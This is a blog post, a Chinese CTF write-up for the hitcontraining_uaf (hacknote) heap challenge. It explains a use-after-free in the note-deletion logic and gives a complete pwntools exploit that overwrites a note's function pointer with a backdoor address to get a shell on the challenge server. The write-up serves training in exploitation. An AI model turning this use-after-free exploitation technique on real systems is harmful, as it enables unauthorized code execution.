题如其名——hitcontraining_uaf

 

 

 

堆体经典结构

 

 

 创建的堆的结构

1个数组用来存放创建的堆的地址,一次创建两个堆,第一个存放函数指针和第二个堆的地址,第二个堆存放内容

 

 删除操作发现只删除了两个堆,并没有删除数组中的地址,存在uaf漏洞

 发现一个后门函数

 

 这个打印功能使用了函数指针,所以只要控制数组中的地址修改为shell就行了

大致思路:add2个再删除,此时有4个堆,再add一个大小为8字节的堆,这样申请到了数组中的地址指向的堆,修改堆中的内容为shellcode,再调用打印功能得到shell

 

exp:

from pwn import *
#p=process('./hacknote')
p=remote('node3.buuoj.cn',29702)
def add(size,context):
        p.sendlineafter("choice :","1")
        p.sendlineafter("size :",str(size))
        p.sendlineafter("Content :",str(context))

def delete(index):
        p.sendlineafter("choice :","2")

        p.sendlineafter("Index :",str(index))

def printf(index):
        p.sendlineafter("choice :","3")

        p.sendlineafter("Index :",str(index))

add(16,'aaa')
add(16,'aaa')
delete(1)
delete(0)
payload=0x08048945
add(8,p32(payload))
printf(1)
p.interactive()

得到flag

 

 这种堆题结构大多有一个数组存放地址,而大部分功能围绕数组来,只要控制数组就行

 

 

posted @ 2021-03-18 11:44  Haokunnnnnnnna  阅读(67)  评论(0编辑  收藏  举报